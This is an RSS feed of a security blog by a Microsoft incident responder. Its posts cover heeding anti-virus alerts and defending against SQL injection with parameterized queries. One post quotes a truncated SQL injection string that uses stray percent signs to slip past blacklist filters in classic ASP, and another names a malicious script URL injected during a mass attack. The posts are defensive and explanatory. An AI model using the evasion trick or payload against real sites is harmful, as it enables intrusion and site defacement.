<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://blogs.technet.com/utility/FeedStylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/"><channel><title>Neil Carpenter's Blog : Security</title><link>http://blogs.technet.com/neilcar/archive/tags/Security/default.aspx</link><description>Tags: Security</description><dc:language>en-US</dc:language><generator>CommunityServer 2.1 SP1 (Build: 61025.2)</generator><item><title>Incident Response: The Importance of Anti-Virus</title><link>http://blogs.technet.com/neilcar/archive/2009/11/23/incident-response-the-importance-of-anti-virus.aspx</link><pubDate>Mon, 23 Nov 2009 17:17:00 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:3295852</guid><dc:creator>neilcar</dc:creator><slash:comments>0</slash:comments><comments>http://blogs.technet.com/neilcar/comments/3295852.aspx</comments><wfw:commentRss>http://blogs.technet.com/neilcar/commentrss.aspx?PostID=3295852</wfw:commentRss><description>&lt;P&gt;Heading home from the CSS Security Global Summit on Friday, I got stuck in Cincinnati’s airport.&amp;nbsp; While walking through baggage claim, I saw this displayed on the arrivals board:&lt;/P&gt;&lt;A href="http://blogs.technet.com/blogfiles/neilcar/WindowsLiveWriter/IncidentResponseTheImportanceofAntiVirus_A547/IMG_0230.jpg" mce_href="http://blogs.technet.com/blogfiles/neilcar/WindowsLiveWriter/IncidentResponseTheImportanceofAntiVirus_A547/IMG_0230.jpg"&gt;&lt;IMG style="BORDER-RIGHT-WIDTH: 0px; DISPLAY: inline; BORDER-TOP-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px" title=IMG_0230 border=0 alt=IMG_0230 src="http://blogs.technet.com/blogfiles/neilcar/WindowsLiveWriter/IncidentResponseTheImportanceofAntiVirus_A547/IMG_0230_thumb.jpg" width=456 height=369 mce_src="http://blogs.technet.com/blogfiles/neilcar/WindowsLiveWriter/IncidentResponseTheImportanceofAntiVirus_A547/IMG_0230_thumb.jpg"&gt;&lt;/A&gt; 
&lt;P&gt;(I didn’t have a proper camera with me so, if that’s hard to read, it’s a Symantec AntiVirus Auto-Protect notification of a trojan horse found.&amp;nbsp; Symantec was unable to quarantine it due to an access denied.)&lt;/P&gt;
&lt;P&gt;Now, I suspect that this was a false positive; however, I’m just a guy walking by their wall of monitors.&amp;nbsp; Even if it is a false positive, it was first detected at 4:26PM…and it was 8:30pm when I was walking by.&amp;nbsp; (CORRECTION:&amp;nbsp; It occurred to me, when I looked back at the picture, that this was detected on THURSDAY at 4:26PM.&amp;nbsp; This was, apparently, displayed for over a day.)&amp;nbsp; Even if there is no risk, I think it would have been wise for somebody to react to this faster just so that you don’t have smart-alec security guys walking by taking pictures…&lt;/P&gt;
&lt;P&gt;This reminded me of a common thread that I’ve seen in security incidents lately:&amp;nbsp; &lt;STRONG&gt;You can’t ignore your anti-virus software.&amp;nbsp; &lt;/STRONG&gt;Your AV software is whispering softly in your ear, telling you that something bad has happened – if you ignore it, you may go on (for months, sometimes) not knowing that something bad has happened.&lt;/P&gt;
&lt;P&gt;What about if it’s a false positive?&amp;nbsp; Do something about it.&amp;nbsp; You paid for AV software and it’s an important factor in early detection of security incidents, so don’t just accept that it’s generating noise.&amp;nbsp; If there’s not a clear resolution, contact your AV vendor and get them to help figure it out.&amp;nbsp; &lt;/P&gt;
&lt;P&gt;The same thing is true of errors -- “Unable to scan file X because of reason Y”, for example.&amp;nbsp; Either this is a valid error that should be solved or it’s noise which shouldn’t be bubbling up to you as an error.&amp;nbsp; In some cases, this is an indication of an attacker who is circumventing your AV software.&amp;nbsp; If you can’t easily fix these, talk to your AV vendor and get their help in resolving them.&lt;/P&gt;
&lt;P&gt;Another important thing, in regards to AV vendors, is their ability to react quickly in an emergency.&amp;nbsp; Make sure that you know how to contact them and get samples to them if you have something rampant in your environment that isn’t caught by their current signatures.&amp;nbsp; Also, be sure to understand how the vendor would deliver a new signature and how you would deploy it as quickly as possible.&amp;nbsp; Include disaster scenarios such as “What if my network was completely down?” and “What if my enterprise had no Internet connectivity?” in your planning.&lt;/P&gt;
&lt;P&gt;In general, make sure that you have an excellent relationship with your AV vendor and that they are a company that you can rely on, especially in a crisis.&lt;/P&gt;
&lt;P&gt;AV isn’t a perfect solution but, then again, neither is any other single part of your security strategy.&amp;nbsp; In some cases, it may be the difference between responding quickly to an incident and not responding until significant damage has been done.&lt;/P&gt;
&lt;HR&gt;

&lt;P&gt;I’ve often discussed these concepts with customers; however, two specific incidents that I’ve seen recently have made me think more about this topic.&lt;/P&gt;
&lt;P&gt;In the first incident, a company was first penetrated by a remote-access trojan that their AV software didn’t detect; however, when I looked at each of the machines that this was installed on, I saw that the AV software had logged failures to scan various files on every machine that was compromised.&amp;nbsp; (There might be a high volume of these errors in the enterprise; however, I doubt it since none of these machines had errors except where they correlated with specific malware being dropped on the system.)&amp;nbsp; Additionally, some of the other tools did cause AV detections – for example, PWDump was detected on one of the compromised workstations.&amp;nbsp; The attackers went on to use a different password hash dumping tool that was not detected…&lt;/P&gt;
&lt;P&gt;Had these issues been remediated immediately, the company could have stopped the incident before it really started.&amp;nbsp; Instead, the company didn’t discover the incident until months later from unrelated symptoms.&lt;/P&gt;
&lt;P&gt;The second incident was large enough to take the company entirely off the Internet and turn off most of their Windows machines as a precaution.&amp;nbsp; The company had an outbreak of a piece of malware similar to Conficker (in that it impersonated users to spread to machines that were otherwise not vulnerable) but different enough that its AV vendor didn’t have signatures that covered it.&amp;nbsp; It was 50+ hours between when the initial infections were discovered and when signatures that were considered to be totally effective were deployed.&lt;/P&gt;
&lt;P&gt;In this case, the AV vendor wasn’t a ‘trusted advisor’ to the company.&amp;nbsp; The company was unable to effectively deliver on the promise of AV software to contain and remove malware at the time that it counted most to them.&amp;nbsp; &lt;/P&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3295852" width="1" height="1"&gt;</description><category domain="http://blogs.technet.com/neilcar/archive/tags/Security/default.aspx">Security</category><category domain="http://blogs.technet.com/neilcar/archive/tags/Incident+Response/default.aspx">Incident Response</category><category domain="http://blogs.technet.com/neilcar/archive/tags/AV/default.aspx">AV</category><category domain="http://blogs.technet.com/neilcar/archive/tags/AntiVirus/default.aspx">AntiVirus</category><category domain="http://blogs.technet.com/neilcar/archive/tags/Anti-Virus/default.aspx">Anti-Virus</category></item><item><title>SQL Injection Hijinks</title><link>http://blogs.technet.com/neilcar/archive/2008/10/31/sql-injection-hijinks.aspx</link><pubDate>Fri, 31 Oct 2008 23:07:00 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:3145432</guid><dc:creator>neilcar</dc:creator><slash:comments>1</slash:comments><comments>http://blogs.technet.com/neilcar/comments/3145432.aspx</comments><wfw:commentRss>http://blogs.technet.com/neilcar/commentrss.aspx?PostID=3145432</wfw:commentRss><description>&lt;P&gt;&lt;I&gt;or Why I Keep Harping On Blacklisting&lt;/I&gt;&lt;/P&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;B&gt;Summary:&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;An incident reveals attempts to get around blacklisting by manipulating behavior in ASP, illustrating the weakness of blacklist approaches.&lt;/P&gt;
&lt;P&gt;A new version of &lt;A href="http://blogs.iis.net/wadeh/archive/2008/10/31/urlscan-3-1.aspx" mce_href="http://blogs.iis.net/wadeh/archive/2008/10/31/urlscan-3-1.aspx"&gt;UrlScan is shipping today&lt;/A&gt; with a change specifically to address this.&lt;/P&gt;
&lt;P&gt;&lt;B&gt;Discussion:&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;I was working with a colleague on an incident last week that looked like a garden-variety SQL injection drive-by except for something interesting.&lt;/P&gt;
&lt;P&gt;While looking through the IIS logs from the affected server, I saw this:&lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;P&gt;abc=120364DEC%LARE%20@S%20VAR%CHAR(4000)%3BS%ET%20@S%...&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;As I looked at this, "DEC%LARE", "VAR%CHAR", and "BS%ET" immediately stood out to me.&amp;nbsp; Obviously, the percent sign is usually used to escape something in a URL (like the %20's in there, which are spaces); however, this naked percent sign thrown in there didn't seem to have any purpose and should have caused SQL to not execute the code in question.&lt;/P&gt;
&lt;P&gt;When I see somebody do something like this, it's usually for a purpose so I took another look at it.&amp;nbsp; I realized that, if ASP silently stripped that percent sign out of there, then this would be an efficient way to bypass a lot of blacklist-based filters.&lt;/P&gt;
&lt;P&gt;I wrote a quick test ASP page(1) and found that my guess was right on -- ASP drops a percent sign from the query string if it isn't followed by two valid hex characters(0-9, A-F) when it actually interprets it via Request.QueryString.&amp;nbsp; This means that any filter that inspects raw headers using Request.ServerVariables is going to miss "DEC%LARE" if it is looking for "DECLARE" but, on the other hand, the ASP app that actually consumes that string using Request.QueryString("abc") is going to get it without the percent sign.&lt;/P&gt;
&lt;P&gt;&lt;B&gt;Conclusion:&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;As this incident illustrates, a blacklist approach to SQL injection only works for as long as nobody finds a way around your blacklist.&amp;nbsp; As soon as somebody finds a way around it (and experience suggests that attackers are motivated to do so), the value of your blacklist is zero.&lt;/P&gt;
&lt;P&gt;The right approach is to fix the actual vulnerability in the code using parameterized queries.&amp;nbsp; See the articles below for more information and examples.&lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;P&gt;&lt;A title=http://msdn.microsoft.com/en-us/library/cc676512.aspx href="http://msdn.microsoft.com/en-us/library/cc676512.aspx" mce_href="http://msdn.microsoft.com/en-us/library/cc676512.aspx"&gt;http://msdn.microsoft.com/en-us/library/cc676512.aspx&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;&lt;A title="SQL Injection Mitigation- Using Parameterized Queries" href="http://blogs.technet.com/neilcar/archive/2008/05/21/sql-injection-mitigation-using-parameterized-queries.aspx" mce_href="http://blogs.technet.com/neilcar/archive/2008/05/21/sql-injection-mitigation-using-parameterized-queries.aspx"&gt;SQL Injection Mitigation- Using Parameterized Queries&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;&lt;A title="SQL Injection Mitigation- Using Parameterized Queries part 2 (types and recordsets)" href="http://blogs.technet.com/neilcar/archive/2008/05/23/sql-injection-mitigation-using-parameterized-queries-part-2-types-and-recordsets.aspx" mce_href="http://blogs.technet.com/neilcar/archive/2008/05/23/sql-injection-mitigation-using-parameterized-queries-part-2-types-and-recordsets.aspx"&gt;SQL Injection Mitigation- Using Parameterized Queries part 2 (types and recordsets)&lt;/A&gt;&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;The IIS team is releasing an update to UrlScan today that includes changes to address this in their filtering product.&amp;nbsp; Of course, as I've said over and and over, no filter-based approach is going to be perfect, but UrlScan is still an excellent defense-in-depth tool and a way to mitigate SQL injection vulns in the short term while your developers fix them.&lt;/P&gt;
&lt;P&gt;For more information on the UrlScan update, Wade Hilmo has all the details:&amp;nbsp; &lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;P&gt;&lt;A href="http://blogs.iis.net/wadeh/archive/2008/10/31/urlscan-3-1.aspx" mce_href="http://blogs.iis.net/wadeh/archive/2008/10/31/urlscan-3-1.aspx"&gt;http://blogs.iis.net/wadeh/archive/2008/10/31/urlscan-3-1.aspx&lt;/A&gt;&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;(1)&lt;/P&gt;
&lt;P&gt;&amp;lt;HTML&amp;gt; &lt;BR&gt;QUERY_STRING = &amp;lt;%= Request.ServerVariables("QUERY_STRING") %&amp;gt; &amp;lt;BR&amp;gt;&amp;nbsp; &lt;BR&gt;test =&amp;lt;%= Request.QueryString("test") %&amp;gt; &amp;lt;BR&amp;gt; &lt;BR&gt;&amp;lt;/HTML&amp;gt;&lt;/P&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3145432" width="1" height="1"&gt;</description><category domain="http://blogs.technet.com/neilcar/archive/tags/Security/default.aspx">Security</category><category domain="http://blogs.technet.com/neilcar/archive/tags/Incident+Response/default.aspx">Incident Response</category><category domain="http://blogs.technet.com/neilcar/archive/tags/SQL/default.aspx">SQL</category><category domain="http://blogs.technet.com/neilcar/archive/tags/ASP/default.aspx">ASP</category><category domain="http://blogs.technet.com/neilcar/archive/tags/Tool/default.aspx">Tool</category></item><item><title>PASSGEN</title><link>http://blogs.technet.com/neilcar/archive/2008/10/22/passgen.aspx</link><pubDate>Wed, 22 Oct 2008 21:52:02 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:3140463</guid><dc:creator>neilcar</dc:creator><slash:comments>2</slash:comments><comments>http://blogs.technet.com/neilcar/comments/3140463.aspx</comments><wfw:commentRss>http://blogs.technet.com/neilcar/commentrss.aspx?PostID=3140463</wfw:commentRss><description>&lt;p&gt;Occasionally, I see a security incident where one of the things that went wrong was that all of the customer's machines have the same password for the built-in administrator's account.&amp;#160; Whenever this happens, I suggest the PASSGEN tool that was included with the book &lt;a href="http://www.amazon.com/dp/0321336437"&gt;&amp;quot;Protect Your Windows Network&amp;quot;&lt;/a&gt; by &lt;a href="http://blogs.technet.com/steriley"&gt;Steve Riley&lt;/a&gt; and &lt;a href="http://msinfluentials.com/blogs/jesper/"&gt;Jesper Johansson&lt;/a&gt;.&amp;#160; Obviously, most people don't want to run to the bookstore in the middle of a security incident but, fortunately, it was available on their website.&lt;/p&gt;  &lt;p&gt;Unfortunately, the website disappeared recently and I had to scramble around to find it.&amp;#160; If you're looking for PASSGEN (and you should be if you have the same password for local admin across a number of machines), you can find it in two places:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;&lt;a href="http://blogs.technet.com/steriley/archive/2008/09/29/passgen-tool-from-my-book.aspx"&gt;The Windows Server 2008 Resource Kit&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;&lt;a href="http://blogs.technet.com/steriley/archive/2008/09/29/passgen-tool-from-my-book.aspx"&gt;Steve's blog&lt;/a&gt;&lt;/li&gt; &lt;/ol&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3140463" width="1" height="1"&gt;</description><category domain="http://blogs.technet.com/neilcar/archive/tags/Security/default.aspx">Security</category><category domain="http://blogs.technet.com/neilcar/archive/tags/Tool/default.aspx">Tool</category></item><item><title>Input Validation Is Not The Answer</title><link>http://blogs.technet.com/neilcar/archive/2008/08/07/input-validation-is-not-the-answer.aspx</link><pubDate>Thu, 07 Aug 2008 21:11:00 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:3102263</guid><dc:creator>neilcar</dc:creator><slash:comments>2</slash:comments><comments>http://blogs.technet.com/neilcar/comments/3102263.aspx</comments><wfw:commentRss>http://blogs.technet.com/neilcar/commentrss.aspx?PostID=3102263</wfw:commentRss><description>&lt;p&gt;I just sent a piece of e-mail to my team about input validation and SQL injection and it occurred to me that I've been meaning to get into this here, too:&lt;/p&gt;&lt;blockquote&gt;&lt;blockquote&gt;&lt;p&gt;&lt;b&gt;If you're trying to solve a SQL injection problem, input validation is NOT the answer!&lt;/b&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;p&gt;There, I've said it. &amp;nbsp; I keep seeing blog posts, forum posts, e-mail, etc, that say "Oh, you got hax0red by SQL injection, you should have been doing input validation".&amp;nbsp; I'm sorry, but y'all are wrong, wrong, wrong, wrong.&amp;nbsp; Let me copy-and-paste my e-mail to explain why:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Your customer is failing to stop SQL injection because they don’t understand the problem (or, by extension, the solution).&lt;br&gt;&lt;br&gt;It sounds like the customer is trying to do input validation.&amp;nbsp; What input validation does is to check input coming from an untrusted user to make sure that it doesn’t contain any blacklisted characters/phrases.&amp;nbsp; Depending on the implementation, it either replaces items on the blacklist with something innocuous or it blocks the input entirely.&lt;br&gt;&lt;br&gt;This is the wrong way to stop SQL injection, period.&amp;nbsp; Input validation is sometimes useful as part of a defense-in-depth strategy but that’s it.&amp;nbsp; There are several major problems with input validation:&lt;br&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;It only works for as long as you’re smarter than your attackers because you have to anticipate every potential attack. &lt;/li&gt;&lt;li&gt;It doesn’t solve your real problem, which is that SQL can potentially execute something in input you get from your untrusted user. &lt;/li&gt;&lt;li&gt;You can end up with a lot of false positives if you’re not careful — if you’re blocking “exec”, what happens when one of your users has the title “Executive Assistant”?&lt;br&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;To use an analogy, using input validation to stop SQL injection is like using anti-virus software to stop malware.&amp;nbsp; It might work, it might not, but you’d be far better off if you actually resolved the vulnerability instead of just trying to mitigate it.&lt;br&gt;&lt;br&gt;How, then, should the customer fix their vulnerabilities?&amp;nbsp; Parameterizing queries is the single best step.&amp;nbsp; Instead of simply mitigating the vulnerability, this actually resolves it.&amp;nbsp; At a high level, I think of parameterized queries as DEP for SQL — it separates the executable code from the data and prevents anything in the data from executing.&lt;br&gt;&lt;br&gt;Bala Neeumalla wrote a great MSDN article on how to code in ASP to prevent SQL injection (&lt;a href="http://msdn.microsoft.com/en-us/library/cc676512.aspx" mce_href="http://msdn.microsoft.com/en-us/library/cc676512.aspx"&gt;http://msdn.microsoft.com/en-us/library/cc676512.aspx&lt;/a&gt;) that covers this in detail.&amp;nbsp; His article should be considered definitive.&amp;nbsp; I wrote a few blog entries (&lt;a href="http://blogs.technet.com/neilcar/archive/2008/05/21/sql-injection-mitigation-using-parameterized-queries.aspx" mce_href="http://blogs.technet.com/neilcar/archive/2008/05/21/sql-injection-mitigation-using-parameterized-queries.aspx"&gt;http://blogs.technet.com/neilcar/archive/2008/05/21/sql-injection-mitigation-using-parameterized-queries.aspx&lt;/a&gt;, &lt;a href="http://blogs.technet.com/neilcar/archive/2008/05/23/sql-injection-mitigation-using-parameterized-queries-part-2-types-and-recordsets.aspx" mce_href="http://blogs.technet.com/neilcar/archive/2008/05/23/sql-injection-mitigation-using-parameterized-queries-part-2-types-and-recordsets.aspx"&gt;http://blogs.technet.com/neilcar/archive/2008/05/23/sql-injection-mitigation-using-parameterized-queries-part-2-types-and-recordsets.aspx&lt;/a&gt;) that have additional examples that might be helpful to the customer.&lt;br&gt;&lt;br&gt;Michael Howard also wrote a great blog entry regarding SQL injection and the SDL (&lt;a href="http://blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspx" mce_href="http://blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspx"&gt;http://blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspx&lt;/a&gt;).&amp;nbsp; Besides using parameterized queries, there are two additional steps that can be taken to further protect an application:&lt;br&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Use properly designed stored procedures &lt;/li&gt;&lt;li&gt;Use SQL Execute-only permission so that the application can only execute the stored procedures and cannot execute other statements.&lt;/li&gt;&lt;/ul&gt;&lt;/blockquote&gt;&lt;p&gt;This doesn't mean that input validation isn't useful and it doesn't mean it isn't appropriate mitigation in some cases.&amp;nbsp; It's still not the way to prevent SQL injection.&lt;/p&gt;&lt;p&gt;And I'm not just talking about&amp;nbsp; ASP, either.&amp;nbsp; The same thing holds true for ASP.Net, the same thing holds true for Cold Fusion (look up &lt;a href="http://livedocs.adobe.com/coldfusion/6.1/htmldocs/tags-b20.htm" mce_href="http://livedocs.adobe.com/coldfusion/6.1/htmldocs/tags-b20.htm"&gt;CFQueryParam&lt;/a&gt;), &lt;a href="http://java.sun.com/j2se/1.4.2/docs/api/java/sql/PreparedStatement.html" mce_href="http://java.sun.com/j2se/1.4.2/docs/api/java/sql/PreparedStatement.html"&gt;Java&lt;/a&gt;, etc, etc.&amp;nbsp; Wherever you query, there shall ye parameterize.&lt;br&gt;&lt;/p&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3102263" width="1" height="1"&gt;</description><category domain="http://blogs.technet.com/neilcar/archive/tags/Security/default.aspx">Security</category><category domain="http://blogs.technet.com/neilcar/archive/tags/SQL/default.aspx">SQL</category></item><item><title>SQL Storm:  Possible ASP.Net</title><link>http://blogs.technet.com/neilcar/archive/2008/06/04/sql-storm-possible-asp-net.aspx</link><pubDate>Thu, 05 Jun 2008 00:13:59 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:3066167</guid><dc:creator>neilcar</dc:creator><slash:comments>0</slash:comments><comments>http://blogs.technet.com/neilcar/comments/3066167.aspx</comments><wfw:commentRss>http://blogs.technet.com/neilcar/commentrss.aspx?PostID=3066167</wfw:commentRss><description>&lt;p&gt;I&amp;#8217;ve had an unconfirmed report that the SQL Storm attacks are now also affecting ASP.Net pages, specifically with a&amp;#160; URL of http://www.chliyi.com/m.js (this appears to be offline currently but I wouldn't suggest browsing there...) being injected into those pages.&amp;#160; My team hasn&amp;#8217;t worked on any incidents yet so I can&amp;#8217;t confirm that it is the same issue; however, it certainly looks very similar.&lt;/p&gt;  &lt;p&gt;This is a good time for me to remind everybody that Microsoft does provide no-cost support in the case of a security incident.&amp;#160; If you&amp;#8217;ve been affected, you can call 1-866-PCSAFETY in the United States &amp;amp; Canada.&amp;#160; Outside of that area, refer to &lt;a href="http://support.microsoft.com/common/international.aspx?rdpath=4"&gt;http://support.microsoft.com/common/international.aspx?rdpath=4&lt;/a&gt; to find the right contact information.&amp;#160; &lt;/p&gt;  &lt;p&gt;(Thanks to Erwin Geirnaert for the heads-up.)&lt;/p&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3066167" width="1" height="1"&gt;</description><category domain="http://blogs.technet.com/neilcar/archive/tags/Security/default.aspx">Security</category><category domain="http://blogs.technet.com/neilcar/archive/tags/SQL/default.aspx">SQL</category><category domain="http://blogs.technet.com/neilcar/archive/tags/asp.net/default.aspx">asp.net</category></item><item><title>SQL Injection:  Trends &amp; Guidance</title><link>http://blogs.technet.com/neilcar/archive/2008/05/30/sql-injection-trends-guidance.aspx</link><pubDate>Fri, 30 May 2008 19:17:11 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:3063668</guid><dc:creator>neilcar</dc:creator><slash:comments>0</slash:comments><comments>http://blogs.technet.com/neilcar/comments/3063668.aspx</comments><wfw:commentRss>http://blogs.technet.com/neilcar/commentrss.aspx?PostID=3063668</wfw:commentRss><description>&lt;p&gt;I've been working with the SWI team to write a comprehensive overview of the SQL Storm attacks with guidance for IT administrators, developers, and end users.&amp;#160; That article is posted at &lt;a title="sql-injection-attack.aspx" href="http://blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx"&gt;sql-injection-attack.aspx&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;For developers, specifically, Bala Neerumalla has written an excellent overview of SQL injection and classic ASP code for MSDN at &lt;a title="cc676512.aspx" href="http://msdn.microsoft.com/en-us/library/cc676512.aspx"&gt;cc676512.aspx&lt;/a&gt;.&amp;#160; This is well worth a read for any developer who has legacy ASP code running -- it covers a variety of scenarios and how to resolve them.&lt;/p&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3063668" width="1" height="1"&gt;</description><category domain="http://blogs.technet.com/neilcar/archive/tags/Security/default.aspx">Security</category><category domain="http://blogs.technet.com/neilcar/archive/tags/SQL/default.aspx">SQL</category><category domain="http://blogs.technet.com/neilcar/archive/tags/ASP/default.aspx">ASP</category></item><item><title>SQLInjectionFinder</title><link>http://blogs.technet.com/neilcar/archive/2008/05/27/sqlinjectionfinder.aspx</link><pubDate>Tue, 27 May 2008 20:51:23 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:3061755</guid><dc:creator>neilcar</dc:creator><slash:comments>0</slash:comments><comments>http://blogs.technet.com/neilcar/comments/3061755.aspx</comments><wfw:commentRss>http://blogs.technet.com/neilcar/commentrss.aspx?PostID=3061755</wfw:commentRss><description>&lt;p&gt;My colleague &lt;a href="http://www.codeplex.com/site/users/view/GCTech"&gt;Greg&lt;/a&gt;, who has forgotten more about command line scripting than I will ever know, put together a sample on CodePlex that automates finding SQL injection attacks from the ongoing &lt;a href="http://blogs.technet.com/neilcar/archive/2008/03/14/anatomy-of-a-sql-injection-incident.aspx"&gt;mass SQL injection attack&lt;/a&gt; (&amp;quot;SQL Storm&amp;quot;, as I saw it dubbed today).&amp;#160; This is a fairly convenient approach to searching logfiles on an IIS server.&amp;#160; &lt;/p&gt;  &lt;h3&gt;&lt;a href="http://www.codeplex.com/Release/ProjectReleases.aspx?ProjectName=WSUS&amp;amp;ReleaseId=13436"&gt;SQLInjectionFinder&lt;/a&gt; -- &lt;a title="http://www.codeplex.com/Release/ProjectReleases.aspx?ProjectName=WSUS&amp;amp;ReleaseId=13436" href="http://www.codeplex.com/Release/ProjectReleases.aspx?ProjectName=WSUS&amp;amp;ReleaseId=13436"&gt;http://www.codeplex.com/Release/ProjectReleases.aspx?ProjectName=WSUS&amp;amp;ReleaseId=13436&lt;/a&gt;&lt;/h3&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3061755" width="1" height="1"&gt;</description><category domain="http://blogs.technet.com/neilcar/archive/tags/Security/default.aspx">Security</category><category domain="http://blogs.technet.com/neilcar/archive/tags/Incident+Response/default.aspx">Incident Response</category><category domain="http://blogs.technet.com/neilcar/archive/tags/SQL/default.aspx">SQL</category><category domain="http://blogs.technet.com/neilcar/archive/tags/Tool/default.aspx">Tool</category></item><item><title>SQL Injection Mitigation: Using Parameterized Queries part 2 (types and recordsets)</title><link>http://blogs.technet.com/neilcar/archive/2008/05/23/sql-injection-mitigation-using-parameterized-queries-part-2-types-and-recordsets.aspx</link><pubDate>Fri, 23 May 2008 19:18:00 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:3060009</guid><dc:creator>neilcar</dc:creator><slash:comments>10</slash:comments><comments>http://blogs.technet.com/neilcar/comments/3060009.aspx</comments><wfw:commentRss>http://blogs.technet.com/neilcar/commentrss.aspx?PostID=3060009</wfw:commentRss><description>&lt;P&gt;(Part 1 is &lt;A href="http://blogs.technet.com/neilcar/archive/2008/05/21/sql-injection-mitigation-using-parameterized-queries.aspx" mce_href="http://blogs.technet.com/neilcar/archive/2008/05/21/sql-injection-mitigation-using-parameterized-queries.aspx"&gt;here&lt;/A&gt;)&lt;/P&gt;
&lt;P&gt;Previously, I provided a simple example of using parameterized queries in classic ASP; however, that sample lacked a few things such as explicit typing for the parameters.&amp;nbsp; It also created a read-only ADODB.RecordSet which, obviously, isn't one-size-fits-all.&lt;/P&gt;
&lt;H2&gt;Typing&lt;/H2&gt;
&lt;P&gt;In the last installment, we had worked up this code to do our query:&lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;P&gt;Set objConnection = Server.CreateObject("ADODB.Connection") &lt;BR&gt;objConnection.Open "Provider=SQLOLEDB;Data Source=SQLSERVER;" _ &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp; "Initial Catalog=website;User Id=user;Password=password;" _ &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp; "Connect Timeout=15;Network Library=dbmssocn;" &lt;BR&gt;strSql = "SELECT name, info FROM [companies] WHERE name = ?;" &lt;BR&gt;set objCommand = Server.CreateObject("ADODB.Command") &lt;BR&gt;objCommand.ActiveConnection = objConnection &lt;BR&gt;objCommand.CommandText = strSql &lt;BR&gt;objCommand.Parameters(0).value = strSearch &lt;BR&gt;Set objSearchResults = objCommand.Execute()&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;As I noted then, this code has a minor performance issue because ADODB is going to have to made a round-trip to SQL to figure out the parameter type before it can execute the query.&amp;nbsp; We can fix this and do input validation by explicitly typing our parameters like this:&lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;P&gt;Set objConnection = Server.CreateObject("ADODB.Connection") &lt;BR&gt;objConnection.Open "Provider=SQLOLEDB;Data Source=SQLSERVER;" _ &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp; "Initial Catalog=website;User Id=user;Password=password;" _ &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp; "Connect Timeout=15;Network Library=dbmssocn;" &lt;BR&gt;strSql = "SELECT name, info FROM [companies] WHERE name = ?;" &lt;BR&gt;set objCommand = Server.CreateObject("ADODB.Command") &lt;BR&gt;objCommand.ActiveConnection = objConnection &lt;BR&gt;objCommand.CommandText = strSql &lt;BR&gt;&lt;STRONG&gt;set objParameter = objCommand.CreateParameter("search", adVarChar, adParamInput, 20) &lt;BR&gt;objCommand.Parameters.Append objParameter &lt;BR&gt;obParameter.value = strSearch&lt;/STRONG&gt; &lt;BR&gt;Set objSearchResults = objCommand.Execute()&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
